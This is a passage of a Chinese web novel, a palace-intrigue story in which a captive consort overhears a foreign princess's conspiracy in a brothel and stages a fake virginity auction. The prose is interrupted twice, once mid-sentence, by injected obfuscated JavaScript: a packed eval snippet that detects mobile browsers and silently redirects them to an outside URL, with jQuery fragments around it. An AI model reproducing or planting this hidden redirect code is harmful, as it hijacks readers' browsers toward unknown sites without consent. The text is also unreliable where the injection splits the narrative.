“这姑娘家里人应该也不像是出不起几千两银子的。紫瑛姐,不如这样,咱们让她家里人花点钱将她赎回去,她仍是完璧之身,并未遭那两流浪汉糟蹋,想来人家也不会过于为难。” “这么多年你还是一点儿长劲都没有,还是那样单纯又心软!”紫瑛道,“你说你,当年好端端放着楼里吃穿不愁的日子不过,非要去跟那姓郭的在一起,现在可好,什么都没捞着他人就没了,最后还是我收留了你。” 红珠终于不做声了,过了一会儿,才听见她有些哽咽地呢喃道:“建泽他……他的死,是个意外……” “好啦,提起他你就这样!真不知道这男人给你灌了什么迷魂汤,让你没了他就要死不活的。”紫瑛不耐烦地抱怨,随后问道:“方才你说那妮子还是完璧之身,你可确定?” “确定,她摔下楼后我第一时间为她检查了身上的伤口,上了药,就是那时候发现的。” “呵,果然天无绝人之路,我已经有主意了!”紫瑛轻笑一声,以不容置喙的语气说道,“她性子烈是烈了点,长得倒是难得,比芷清那丫头还要勾人得多!不如先关她几日,狠狠调教一番,等她老实点了,定能将她的第一夜卖个好价钱。” 紫瑛自觉已找到了稳赚不赔的法子,之后任凭红珠怎样替云昭昭求情,她也无动于衷。 红珠走后,紫瑛在屋中呆了一会儿,也离开了,外面很快安静了下来。 黑暗,仿佛吞噬掉了时间的流逝,云昭昭完全不知道又过了多久。 她又饿又困,想到赵昶许诺自己的十日调查期至少已过去了一日,自己却如困兽一般被囚禁在这暗无天日的暗室里,不由地心里越来越绝望。 这样下去她不知道何时才能出去,也许出去后,整个云家也都不复存在了,薛炼也会死,说不定连周徵都要受到连累…… 想到这里,云昭昭越发后悔当时自己没听周徵的话,乖乖地从宁远门回宫,这样就遇不上这些糟心事。 但若是周徵不在那时候抛下她,去跟踪那两个东瀛人,她也不至于会涉险。 她既懊恼又委屈,一会儿怪周徵,一会儿又责备自己,脑子如同乱麻一样,剪不断,理还乱,最后便昏沉沉地打起瞌睡来了。 就在云昭昭快要睡着的时候,她终于再次听见外面有了动静,接着隔壁隐隐约约传来女人低声说话的声音。 一开始还以为是紫瑛或者红珠回来了,但她用尽全力伸着脖子贴过去才发现,声音是从另外一边的房间传来的。 出于好奇,云昭昭一点一点地,用仅剩的力气,慢腾腾地蹭着地面,蹭到了另一边墙面处,贴着耳朵去听。 结果这一听她令浑身一震! 那声音她再熟悉不过。 那是汀雪的声音。 59. 公主 “芷清,以往每次都是你出风头,这次我可绝不会再输给你了。如今陛下迫不及待要除掉云琛这根心头刺,就连一向麻烦的武安侯也被撤了职,现在宫里头可真是乱得不得了!实在是大快人心!” 汀雪十分得意,她的嗓音与过去并无二致,却不似从前那样怯怯懦懦,仿佛换了一个人似的。 谁能想到,那个性子柔顺、不善言辞,像白雪一样清冷的小姑娘只是一个预谋已久的幌子。 而内里深藏着的,竟是这样一个黑色的,噗噗冒着毒液的蛇蝎灵魂。 一个轻柔的女声说道:“行了行了,你功劳最大!也多亏你杀了那么多人,手上沾染了那么多鲜血,才换来这个结果。这样的功劳人家可担待不起,人家不想晚上做噩梦嘛。” “芷清,你在我和公主面前还装什么狐狸精,我们又不是那些男人!” 汀雪似乎被挑到了痛处,愤然道: “我杀人怎么了,我杀的全都是关键之人,总比你这样空有姿色、就只会靠着男人得点子情报的狐狸精强,也不知道凭什么每次公主都夸你!” “情报?”芷清并不上套,只是有理有据地说,“你蛰伏云府这么多年,一直悄无声息的,为公主做了些什么?倒是我,趁着在迎风楼弹奏的机会,同时拉拢了云府的王管家和锦衣卫的人,这才有机会搞到那诏狱里的奇毒见雪尘。” “我那时只是一个小丫头,况且跟的还是那不着调的云小姐,短时间内,我又能做什么呢?公主都能隐忍蛰伏十多年,我又何尝不能?” 芷清毫不客气地戳她的短,笑着说:“既如此,你又何必总是想要跟我比?我看你就是嫉妒,在公主这里嫉妒我;在你另一个主子那里嫉妒流霜!” 汀雪闻言彻底恼了,发誓要与芷清势不两立,二人一时间为谁功劳大而争执不休。 云昭昭偷听着她们的谈话,才知道原来老鸨紫瑛隔壁的这间屋子,乃是醉仙楼最负盛名的花魁芷清的居所。 没想到,汀雪竟然与芷清是同一伙的。而她还清楚的记得,周徵之前当着赵昶与太后的面说过,汀雪背后的人,应当是宫中之人。 那二人刚才谈话中都提到的那位“公主”,恐怕就是她们二人真正的主子了。 云昭昭虽是穿书而来,但无论是从原书中还是她入宫后,都从未提到什么公主。 先帝虽然膝下子女众多,但自赵昶继位以后,便实施了推恩令,让他的其他兄弟姐妹在外设府,自立门户,吃穿用度皆由朝廷负责。 这些王爷公主们除了享有封号、食邑与俸禄,便不再参与政治,一生只能当个闲散的贵族。 所以云昭昭左思右想,还是想不出,这位能操纵后宫棋盘的“公主”究竟是何方神圣。 不过汀雪与芷清的谈话也解决了她的其他疑问,比如之前她偶然得到的门子的那张纸条…… 原来王良估计就是认识了芷清,才通过在迎风楼买酒与锦衣卫内部的人有了来往。 云昭昭正在寻思着,忽然,隔壁芷清房间的门“吱”地一声被人推开。 汀雪与芷清立刻停止了争吵,异口同声道:“参见公主。” “起来吧。” 女子的声音温柔又悦耳,如泉水清泠,叮咚作响,听得出来,这位公主一定是个极其美丽文雅的女子。 不知为何,云昭昭觉得这个声音,她似乎在哪里听到过。 被称作公主的女子想必在门外就听到了汀雪与芷清的争执,因而进屋就问道:“你们两个刚刚在吵什么呢?” 汀雪不再像从前在云昭昭面前那样隐忍、小心翼翼,反而说话毫不拐弯抹角,或许这才是她的真正性子。 “公主,我就是心里觉得不公平。凭什么我这些年在云府当牛做马,伺候别人,而她芷清就可以在醉仙楼享受荣华富贵,到头来,还什么好处都是她的。” 谁知芷清委屈得快要哭了。 “汀雪,你不要不知好歹,殊不知,公主这样安排乃是见你年纪尚小,故意护着你。我这些年这么辛苦地在楼里出卖色相,委身于各色男人,而你呢,只是干些体力活,不用出卖尊严,哪里有我苦?” 说着她便梨花带雨地嘤嘤哭了起来,气得汀雪直骂她狐狸精,就会使这种贱兮兮的下作手段。 见二人又要吵起来,公主立刻喝止道:“住口!不许吵!” 接着她便安慰了流泪的芷清,汀雪只能冷哼几声,暂不作声了。 “芷清,你可不能自暴自弃,妄自菲薄。”她说,“委身男人是什么丢脸的事吗?就连我如今也为了所谓的权宜之计,委身于我瞧不起也不爱的男人。” “再者,我们女子只是体力先天弱了些,身材瘦小了些,但若要抛开性别,单论手段计谋,我哪里比不上我那不成器的叔父了? “如今他不思进取,在其位只贪恋美色与荣华,甚至向自己的弑兄仇人俯首称臣。可就是这样的人,如今统治着我们的国家,辱我国威。所以,只要能达到目的,我倒不觉得用身体适当换取些利益有何不妥?” “相反,倒是你,汀雪。你这次的所作所为,有些太过于鲁莽了。” 公主缓了缓,语气竟然变得格外严肃,令原本还沾沾自喜的汀雪有些措手不及。 她有些不服,但公主却说:“想不到陛下居然会同意云昭昭来调查我们,你以为我们已经将云家逼上了绝路,你以为陛下对云家的容忍已经到了极限……但他这一手,分明还证明他没有完全的一意孤行。” 汀雪立刻反驳道:“怕什么?她什么都查不出来的。这些年我一直跟在小姐身边,她这个人就是空有皮囊却缺乏心眼,还容易受人煽动。她生病以后确实看上去聪明点了,但还不是被我们玩弄于股掌之中?” “汀雪,你太过于自以为是了。”公主说,“我看云昭昭绝非那么简单,甚至可能是我们这次计划的最大变数。若是在这个节骨眼上被她查出些什么,我们的身份也极其容易暴露。” 汀雪沉默片刻后,终于承认:“好吧,自从我将她推下水,她生了一场大病后,人确实变得有些古怪,就像……就像是换了一个人似的。” 公主说:“虽然云昭昭对外称自己是失忆,但哪有原本就蠢笨的人,失忆了会变聪明的?而且之前在赏菊宴上,我曾偷偷听到一点周徵和太医张垚的谈话……” 说到这里,公主停住了,似乎在为后面什么惊天的内容做着酝酿。 同样惊住的也有隔墙偷听的云昭昭。 赏菊宴?公主? 看来这所谓的公主竟是那天参加赏菊宴的嫔妃之一! 好在赵昶后宫的嫔妃不多,除了自己与易琉璃,还有死去的纯容华,剩下的几个人,倒是很容易排除了。 但有没有可能是在场的宫女呢?云昭昭想了想又立刻否定了这个可能。 这公主曾说自己委身于男人,指的多半就是赵昶。 一名异国公主,竟然以嫔妃的身份隐藏在皇帝的后宫之中,还悄悄地布下了这张可怕的大网。 若不是被自己歪打正着地撞上了,自己恐怕就像汀雪说的那样,查到最后都一无所获。别说是自己了,就是换成周徵,也绝不可能想到会是这样的谜底。 此人心机城府之深,既令人佩服,又令人不寒而栗。 另一边,汀雪见公主话说到一半就停了,有些急了。就连置身事外的芷清都愈发地好奇,催促着公主赶紧说下去。 “他们二人当时刻意压低了声音,所以我听到的内容不多,印象最深的只有一个词,”公主一字一句,终于幽幽地吐出了这个词:“借、尸、还、魂。” 其余二人皆是无比的震惊,就连墙这一头的云昭昭也呆住了。 半晌后才听见汀雪用有些虚弱的声音道:“还……还真有可能。” “所以,你这次是真的太过冒进了。本来还有机会呆在她身边一探究竟的,现在却再也回不去了。” 汀雪这回终于丧了气,蔫蔫地应道:“公主教训的是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124036|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧接着,隔壁一阵杂乱地脚步声响起,随后芷清说:“公主,信鸽来报,荒川与须贺两名将军已于今日午时到达京城,现安顿在驿馆里,只得公主得空,便可相见。” 荒川、须贺?这不是日本的姓氏吗? 正好周徵就是去跟踪两个东瀛男人了,不会就是这荒川与须贺将军吧? 原来这个公主,竟然是东瀛的公主,甚至连花魁芷清、汀雪也是东瀛人?怪不得她们看起来与汉人长相无异,混进人堆里,也不知其身份。 只听隔壁的公主道:“驿馆不安全,形形色色的人太多,人多耳杂,说不定还有锦衣卫的眼线在。还是到芷清你这里来吧。” 芷清立刻笑着提议道:“正好,楼里今日新来了一名姑娘,据说容貌赛过天仙,性子却凶悍无比……” 汀雪趁机落井下石道:“什么人,还能比我们倾国倾城的井上清子还要动人?” 芷清并不愿理她,只是说:“昨日让她接客,她居然戳瞎了最难缠的那波斯商人的眼睛,踢坏了他的身子。紫瑛妈妈正急着要赔他钱呢,所以决定明日晚上拍卖这姑娘的初夜。到时候楼里一定热闹,大家注意力都在那姑娘身上,正好就可以让二位将军到我这里来。” 公主听后十分满意,直夸芷清安排得好。 酸得汀雪在一边咬牙切齿道:“哼,狐媚子。不过,早就预防着这次会被你比下去,所以我将杀手锏留在了最后。” 一阵窸窸窣窣的声音后,汀雪说:“公主,这是我在那个逐月的房间里发现的。” “什么东西啊?一张纸?”旁边的芷清立刻嘲笑道:“还记录的是吃的,这跟我们现在的计划有什么关系。” 汀雪不满道:“你懂什么?这是大周先皇帝的昭文皇后宫里的膳事记录档案,这一页我看专门被折了起来,应当是极其重要之物。” 云昭昭闻言立刻竖起了耳朵。 那本膳事记录被逐月那么珍重地保存着,就连太后知道后也是那样的反应,那一页上一定是记录着什么重要的事情。 她实在太好奇上面的内容了! “乾元六年八月初四……” 只听公主喃喃地念道: “后同武安侯夫人林氏于云台寺静养……及至三更子时,太子忽下利呕乳,太医久候未至,后体羸,忧甚,时林氏进曰:‘妾家传有古方可治小儿其疾。’遂命尚食局女官随侍者煮芦根水以进太子。越二日,太子遂瘳……” “芦根水……怎么会用芦根水来喂呢?” 这时汀雪也在一旁说:“公主你也发现了?我也奇怪,怎么会是芦根水呢?” 公主没有再回答,她似乎情绪波动极大,手中的那张膳事记录,在空气中不断地抖动,发出声响。 云昭昭对中医所知甚少,不懂这芦根水有什么问题。 半晌,只听公主语气颤抖道:“汀雪,你这次确实立了大功。你先跟我回去。” 说完她又嘱咐芷清:“明日就按你所说的去准备,我要立刻见须贺荒川二位将军!” “是,公主。” 三人很快便散了,四周又恢复了死一般的寂静,只剩下云昭昭带着一肚子疑问缩在墙角。 又不知过了多久,杂物间的门终于开了,是红珠端着烛台,提了一个小食盒,为云昭昭送完饭来。 “红珠姐。”云昭昭唤她,“现在是什么时候了?” “已经过了子时了。”红珠一边打开食盒,一边歉意地说,“抱歉,让你肚子饿了这么久。我是等紫瑛姐刚睡下,才敢偷偷从厨房里拿了一些蒸饺过来。你出去的事,先别急,我会慢慢想办法。来,先吃个饺子我喂你。。” 红珠说完,还未将最上面的一个饺子夹起,就听见云昭昭问: “她刚睡下?那应该还醒着吧!红珠姐,你能带我去见见她吗?” “什么?”红珠难以置信地抬头看着她。 “我说,我不想出去了,我想见见你们楼的妈妈。” 60. 拍卖 农历八月刚过,还有几日便是立冬,北国的寒意也随着那些南飞的候鸟一道,越过秦岭、淮河一带,一路南下。 京城这几日温度骤降,虽还未降雪,但风却刮得刺骨,一夜之间,黄叶尽落。 街道上往来的客商少了,外出做工讨生活的百姓也少了,整座城市都在这灰白的天气里,显得有些寂寥。 甚至就连清漪坊这样晚上最热闹的坊市,傍晚看去也灯火阑珊。 举目眺望,坐落在清漪坊最中间,也最显眼的那幢画阁一样的建筑便是京城最大也最有名的勾栏——醉仙楼。 这里是夜夜笙歌的繁华地,是日日春宵的销金窟,更有无数人为了一睹楼中花魁芷清的茜影,在这里一掷千金。 今日的醉仙楼与往常格外不同,甚至更为显眼。 仔细一看,那飞檐画梁上拉着如粉霞一般的彩绸,窗棂栏杆上挂着似彩羽一样的流苏。傍晚时分,楼上宫灯尽数点亮,照得那五色琉璃瓦幻彩夺目,灼灼生辉,仿佛天宫中的琼楼仙阙。 清漪坊的人流如潮水一般聚集到了醉仙楼门口,大家都好奇今日到底是什么日子,便看热闹似地往人潮里挤,边挤边议论纷纷。 “诶,今日可是什么好日子吗?这楼里怎么张灯结彩的啊?” “我也奇怪呢,前一日听说那有名的波斯珠宝商在楼里受了伤,还有个姑娘坠了楼,当时闹得沸沸扬扬,听说那珠宝商还向醉仙楼索赔五千两银子呢,难道这么快事情就平息了?” “也许已经解决了吧,不然这醉仙楼的妈妈怎么还能笑得出来?” 这时一个路人忍不住开口了,看穿着他是在这一代做生意的商户:“这还不是得了新的摇钱树呗!听说楼里新来了一个姑娘,生得天姿国色,今日这么声势浩大的,就是要拍卖她的初夜。” 拍卖花魁初夜是清漪坊的勾栏瓦肆里最受恩客们欢迎的活动,有钱的可以一展财力,没钱的也能凑个热闹,更别说是在最有名的醉仙楼里了。 众人一听,惊道:“醉仙楼都多少年未举办过拍卖了吧,那今天这一回,不知道得多热闹,咱们有得看了,真好奇难得的机会最后会花落谁家!” 那商户又说:“据可靠消息称,今晚楼中大厅的一个最普通的座位都被人炒到了五百两起步,更别说还有二楼的雅间位置了,那里面的,才都是有实力的主儿,大厅里也都是为了看那明姝姑娘的。” 众人一听,纷纷咂舌:“啧啧,这还只是个门票钱,估计都已经不止五千两了。难怪那紫瑛妈妈脸都要笑出褶子了。哎,咱们没钱的就在门口远远地看看也行。” “是啊是啊!就在门口看看吧……” 这场拍卖将于戌时准时开始,酉时四刻一过,便有预定了位置的客人陆陆续续地到场入座,其中不乏一些身份贵重者。 一路人从未见过这么多达官显贵,有些好奇地问道:“这醉仙楼的花魁娘子不一直都是芷清么?她可是号称京中第一美人,难道这位新来的明姝姑娘,还能比芷清姑娘更美?” 这时他身边路过两名高大的男子,乃是身穿常服的锦衣卫统领燕二,与另一位年轻千户莫风。 燕二听到这人的疑问,便随口说了一句:“切,你懂什么?这天下比芷清姑娘更美的女子多了去了,比如前段时间才入宫的那位云贵妃。” 路人不以为意道:“我当是什么呢,这皇帝的女人岂是我等凡人可以窥伺的?要我说,还是芷清姑娘这样的能让人一睹芳容的好。” 燕二没好气地说:“随便吧,反正我也只是就事论事。”说着他便带着莫风穿过层层叠叠的人群。 之前那位消息灵通的商人这时说:“芷清姑娘确实姿容清丽,如月上仙子下凡,但据说这位明姝姑娘的姿容和芷清姑娘不是一个风格的,你看名字‘昭昭明日,静女其姝’,芷清姑娘是清丽挂的,明姝姑娘是明艳挂的,就好比玉兰和牡丹,各有各的季节,各有各的美。” “得了吧,牡丹乃花中之王,木兰算什么,你这比喻也是夹带私货。反正在下永远倾慕芷清姑娘。” 周围人一听,越发地好奇起来,将醉仙楼的大门口围了个水泄不通。许多人挤进大厅,站在座位后排的空地上,踮起脚尖儿,想要一睹这位神秘的明姝姑娘的真容。 燕二在大厅里找到自己订的座位,拉着莫风坐下。这是他托了好多关系才找人订到的位置,虽然靠后了些,但只要一百两银子一座。 莫风年纪小,上个月刚刚加冠,因为他常年在锦衣卫里奔波,至今尚未娶亲,燕二怕他成天跟着一群男人混,混出问题,正好遇上这么个日子,便想着带他来见见世面。 莫风家中家风甚严,父亲又是个妻管严,这是他第一次进青楼,看着大厅中流光溢彩的堂皇装饰,问着空气中兰薰桂馥的脂粉味儿,他有些腼腆,只好扭捏地坐在位置上东张西望着。 “哇,”莫风拽了拽燕二的衣袖,指着不远处一个身材微胖的中年男子奇道,“那不是左副都御史高大人吗?他怎么也来了。” 燕二轻轻地哼了一声,不甚在意地说:“这算什么,一个左副都御史就把你给惊到了?” 说罢他指着大厅最前排的一名年轻公子道:“瞧,那一位是宁宜公主的独子,他可是这地儿的常客,那边那位,是广阳伯世子……” “而在二楼雅间里的坐着的,那来头可就大了哦,看那边,那边那位是京中首富薛晨,旁边隔间的那位你肯定认识啊,那是工部尚书程翰采……” 燕二指着那一个个衣着不凡的贵客为莫风介绍着,俨然一副久混风月场的老手模样。 “那边,最好的雅间位置那位,”燕二压低了声音道,“这位来头更不小了。” 说着他伸出一只食指指了指上方,小声道:“齐王赵焘。” 这齐王乃是先帝最小的弟弟,也是赵昶的小叔,少时便与先帝关系极好,在先帝还是太子时还曾救过他一命。于是先帝登基后便将江南最富庶的一片封地给了他,齐王坐拥良田千亩,是个不差钱的主。 莫风没想到连齐王都来了,惊得下巴都快掉了,只一个劲儿地感叹今日这小小的醉仙楼竟然是藏龙卧虎。 他越发地开始好奇这位明姝姑娘究竟是何方仙女下凡了。 正在这时,他的余光瞄到了对面的二楼最末端的那间雅间,一下子呆住了。 他慌慌张张地拍了拍燕二的肩膀,连舌头都打了结。 “燕,燕哥!燕哥!你你你你看……” 燕二对他这幅没见过世面的样子有些无语,随口吐槽道:“瞧给你吓得,下次……” 可是当他顺着莫风手指的方向看去时,不由得倒吸了一口凉气,刚才已到了嘴边的话一下子卡住了。 只见最末的小隔间里,一袭白色锦袍,头戴玉冠的周徵,正一脸淡漠地端着茶杯喝茶。 眉宇间好似堆有终年不化的积雪,遗世独立,这份沉默与大厅中的欢闹氛围,以及围观看好戏的人群格格不入。 燕二挖空了心思,也想不到周徵怎么会出现在这里。 上次他们偷偷在北镇抚司里喝酒,聊起芷清姑娘,还被他狠狠地体罚了一顿。 而现在,堂堂武安侯,不近女色、至今未曾娶妻的前锦衣卫指挥使,居然会出现在明姝姑娘的初夜拍卖会上? 还是二楼雅间的位置? 难道今儿个太阳从西边出来了? 果然男人都是一个德行,越是表面正经持重,如同高岭之花的,私下里说不定玩得越花。 但尽管如此腹诽,他还是往一旁缩了缩身子。 旁边的莫风也是一样,虽然周徵已经不再是他们俩的上司了,但他们看见他,还是下意识地像是老鼠遇见了猫一样。不想被周徵瞧见。 很快,戌时已到,这场汇集京中富豪名士的拍卖也正式开始。 老鸨紫瑛一脸喜气,扭着水蛇般的腰肢,盛装出场,向满堂贵客们介绍着这位新来的明姝姑娘,瞧其意思,明显是要将她与楼中花魁芷清放在同一位置,作为醉仙楼的双姝调教培养。 之后她又介绍了一下今晚拍卖会的规则,然后便从台上退了下去。 紧接着数十名楼中乐姬出场,纤纤素手拨弄琴弦,仙音如清泉般潺潺而起。一名身着大红色纱裙的女子登台而舞,她墨发如云,冰肌似雪,黛眉含烟,瞳若秋水,举手投足间尽是万种风情,一颦一笑中俱生百媚千姿。 她下半张脸用一袭红纱遮面,虽然只能看见眼睛,但在座参与拍卖的,都是在风月场中见多识广的,只一眼便能瞧出台上的红衣女子是怎样的美人。 正所谓,唯有牡丹真国色,花开时节动京城。 原本闹哄哄的大厅一下子安静了下来,只有眼前翩跹的红衣,与如水的音乐涓涓流动。 莫风盯着台上的女子看得入了神,余光瞥到身边的燕二,却见他虽然也盯着台上,但神色却紧张凝重,攥着茶杯的指节微微发白,口中喃喃自语道:“不会吧……” 莫风觉得奇怪,连忙问道:“燕哥,你怎么了?” 燕二这才回过神来,拍了拍自己的额头,喝了一口茶定神。 “没什么,应该是我看错了吧。” 他放下茶杯,目光很自然地转向二楼周徵的方向。 他方才觉得台上女子露出的半张脸与云贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132319|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃有些相似,因此才好奇周徵对她的反应,结果却发现周徵根本没看那台上的姑娘,反而目不转睛地盯着远处二层的楼梯口。 燕二跟随周徵多年,对他在锦衣卫中的行事作风最为清楚。见他这幅如猎鹰般谨慎的模样,燕二当即开始怀疑他今日来醉仙楼并不是为了拍卖,而更像是来调查什么事情。 于是,他也顺着周徵的目光,向二楼楼梯的拐角处看去。 过了一会儿,台上音乐到了高潮,大厅中气氛热烈,一旁的莫风也看得兴起。这时燕二忽然注意到,二层楼梯口出现了两个纤细的身影。 那是两名带着面纱的女子,一看便是从外面进来的,没有人注意她们,就算看到了,也只会以为是楼中的姑娘。 只见这两名女子沿着楼梯,一路往上,进了三楼的一个房间。 而周徵的眼神一直追随着那两名女子,随后又重新放回道二楼的楼梯口。 燕二有些警觉,推了推旁边的莫风。 莫风脸上还带着点红晕,傻乎乎地笑着问他:“怎么了,燕哥?” 燕二指了指周徵,用唇语对他说:“有情况。” 莫风虽然难以置信,但还是乖乖地跟着燕二一起,盯着二楼的楼梯口,并随时留意周徵的动向,一有情况就好上去帮忙。 很快,台上的“明姝”姑娘一曲舞毕,关于她初夜的拍卖也正式拉开了帷幕。 现场一时间气氛如火如荼,报价也越飙越高,乐得老鸨紫瑛合不拢嘴。 这次她不仅能全额赔偿波斯富商伊凡,还能大赚一笔。这等买卖,实在是划算至极,况且昨晚这个姑娘还专门找到她,表示自己已经想清楚了,愿意好好待在楼里,替她赚钱,唯一的要求,只希望能将她的房间安排在花魁芷清的隔壁。 虽然紫瑛并不清楚她为什么会提这个要求,但三楼那一边走廊总共就只有三个房间,是整个楼里最敞亮,也是装饰最华丽的房间,除了自己与芷清,还空了一间。 她只当是这姑娘想住的好一点,毕竟人人都有虚荣心,尤其是越漂亮的女子越是在乎自己与他人的区别。她当即欣然答应,给这个姑娘起名为明姝,并将今晚拍卖的消息放了出去,宣传了一波。 她从前一任老鸨手中接管醉仙楼不过三年,也从未参与过花魁的初夜拍卖。今晚前她也完全没有想到,现场会有如此盛况,甚至还来了许多意想不到的客人。 一转眼,拍卖会上的出价已经高达七千两银子了。 出价的正是齐王赵焘,谁都知道他是不个不差钱的主,因此,刚才紧紧跟价的其他人在齐王出到七千两的高价后都一下子熄了火。 据说齐王最近刚死了王妃,众人都在感叹他为讨美人欢心出手阔绰,这明姝若是会伺候人,倒是很有机会麻雀飞上枝头做凤凰。 燕二与莫风顾着盯梢,一时没有注意拍卖会现场的情况。 在齐王出完价后,俩人忽然瞧见大厅门口的人群中出现了两个奇怪的男人。 多年的侦查习惯让他对可疑之人格外敏感,这两个男人看发型穿着,不似中原汉人,反而像是东瀛那边的武士,而先前拍卖还未开始时,他进入大厅并未瞧见这两个东瀛男人。 难道周徵就是为了这个两个人才会出现在这里的? 燕二顿时与莫风默契地点点头,准备时刻盯梢着这两个东瀛男人的动向。 正好这时,老鸨紫瑛开始询问现场有没有人出价超过齐王的七千两的。她问了两遍后,终于才有一个声音,冷冷地说道:“八千两。” 燕二与莫风闻声一惊,一齐抬头看向二楼雅间里的周徵。 只见他薄唇微抿,眉心轻轻拧着,如刀刻般的侧颜透着一丝警觉与冷意。可他这幅表情在外人看来,就是成竹在胸,势必要与齐王赵焘一争高下。 齐王眼看美人即将到手,却被周徵在最后关头横插一脚,有些恼了。 他立马开口道:“九千。” 谁知周徵像是对钱没有知觉一般,立马跟价:“一万二。” 齐王闻言,额上已冒出一层薄薄细汗,只得咬牙道:“一万五。” 众人皆是一惊,都在纷纷感叹齐王不愧是亲王,财大气粗,一出手就豪气万丈。 而紫瑛见二人在最后关头这般较劲儿,反而越发地不安起来。 她生怕二人一时冲动砸了自己的场子,但一个是当今陛下的叔叔齐王,一个是有活阎罗之称的武安侯周徵,两人都是不好惹,也得罪不起的主儿啊,她一时不知该劝谁停下。 就在她六神无主的时候,她听见二楼最末的雅间里,周徵淡淡地开口: “两千两。黄金。” 61. 假戏 另一边,云昭昭从台上退下,上楼回到屋里,时刻留意着下面拍卖会的动向,以及隔壁芷清屋里的动静。 那天无意中偷听到汀雪的秘密后,她心里久久不能平静。 她根本无法想象,要是没有这次歪打正着的经历,她将离真相有多么遥远的距离。恐怕再给她十天半个月,也无济于事。 到时候,等待着她和云家的,只有死路一条。 所以她决不能放弃这个命运给她的机会,为了今天能偷听到芷清汀雪他们的谈话,她特地要求住进这间屋子,并假意以明姝这个花名来去进行所谓的初夜拍卖。 隔壁芷清的房间里传来声响,是汀雪与那位暂不知身份的东瀛公主到了。三人在屋里唠着嗑,一边聊着下面拍卖会的盛况,一边等待着荒川与须贺二位将军。 又过了一会儿,外面大厅里一阵哗然,似乎是拍卖会有人出到了令所有人瞠目结舌的价格。 云昭昭有些忐忑地坐回榻上,手指悄悄伸进锦被里,握住里面一件冰凉坚硬的物件。 ——那是她搜寻了整个房间,提前准备好的一只小臂粗的黄杨木如意。 她准备待会儿等那位财大气粗的金主一到,先假意要与他欢1好,然后再趁其不备用这如意给他当头一棒,将他敲晕后,再仔细偷听隔壁屋的密谋。 至于之后怎么成功脱身,她根本没法想那么远,只能走一步看一步,实在不行,就换下那男人的衣服,看看能不能逃离这个地方。 她正想着,外面走廊间传来一阵细碎的脚步声,不是那两位东瀛将军到了,便是老鸨紫瑛带着那位金主来了。 她立马振作起来,坐在床边,死死地攥着木如意的把手。 屋门滋溜一声响,老鸨紫瑛带着一脸喜气走进了屋,她身后跟着一个身材高大的男人,在门口有些踟蹰地徘徊。 云昭昭立马低下头故做娇羞态,像是一个即将初通人事的小女儿,对未知的领域既期待又忐忑。 紫瑛见她这副含苞待摘的模样,得意极了,连忙说:“明姝,我就跟你说吧,在我们楼里带着有你好日子过呢!瞧,这不,这位贵人一掷千金,出手阔绰,花了整整两千两黄金买下了你的初夜。” 她见云昭昭羞得都不好意思抬头,便故意没点明贵人是武安侯,想着给她一个惊喜。 毕竟武安侯虽然名声欠佳,但好歹也是京中少有的样貌卓绝,门第高贵的年轻男子,更重要的是,他至今尚未娶妻。 紫瑛盘算着,这次之后一定要将明姝好好调教一番,让她攀牢了武安侯这颗大树,将来说不定还能嫁入侯府,就凭武安侯今日这阔绰的出手,到时她还可以再敲上一大笔赎身费。 云昭昭听到两千两黄金的时候,身子僵了一下。 两千两黄金啊! 这是什么人傻钱多的冤大头?! 但毫无疑问,能掏出这个钱买一个青楼女子初夜的人,一定非富即贵,看来今晚她的计划能否顺利执行,都要打个问号了。 紫瑛很快识趣地退了出去,顺带着拉上了们,屋里只剩下云昭昭和那个男人。 云昭昭本来还以为这个冤大头多半是那种中年发福,位高权重的油腻男子,但直到那人走近,她看到了一双黑色皂靴以及那下半身修长的身形,她突然意识到,这是一名年轻男子,光看身材,似乎还不丑? 那人慢慢地走近,淡淡的、带着若有似无苦意的檀香味萦绕在房间里,她的心脏突突地跳着,仿佛马上就要跳出嗓子眼儿。 然后他停在了距离她榻边一尺远的地方。 云昭昭握着木如意的手心有些出汗。等了片刻,见那男子迟迟未动,她有些急了,不管三七二十一,主动将柔软的身子贴向他。 那人似乎没料到她会这么主动,有些手足无措,眼瞧着面前温香软玉般的身子,手上的动作都迟缓了许多。 哟,难道还是个处男? 云昭昭暗笑。 她便坏心地又往他身上靠了靠,嘴里甚至还哼哼唧唧地娇声唤着:“这位爷,奴家都等了你好久了。” 说完她便感觉到那人呼吸一滞,身体越发地僵硬了。 于是她又恶趣味地娇声说:“快抱抱奴家~” 那男人闻言,终于颤巍巍地伸出手,有些青涩,又格外小心翼翼地抱住了她。 哼! 云昭昭见时机差不多了,便猛地一下从被子抽出木如意,对着面前男人的脑袋就是一棒槌。 那人很明显迟疑了一刹那,显然没料到会被偷袭。 然而就在云昭昭快要得手的时候,他一下子抽开手,嘭地一下打掉了云昭昭手中的木如意。 云昭昭心道不妙,顺手拔下头上的簪子,准备故技重施,但那人明显有功夫在身,预判到她的动作,一下子抓住她的手。 云昭昭双手被擒,心下一慌,便朝着那人下1身又是一脚踹去。 那人很明显早有准备,抓着她的手,将她困在自己胸前,然后带着她一块儿扑倒在床榻上。 男人灼热的呼吸呼在她的耳边,引得她起了一身鸡皮疙瘩。 她该不会真的要栽在这人身上吧?云昭昭绝望地想。 她不甘心。 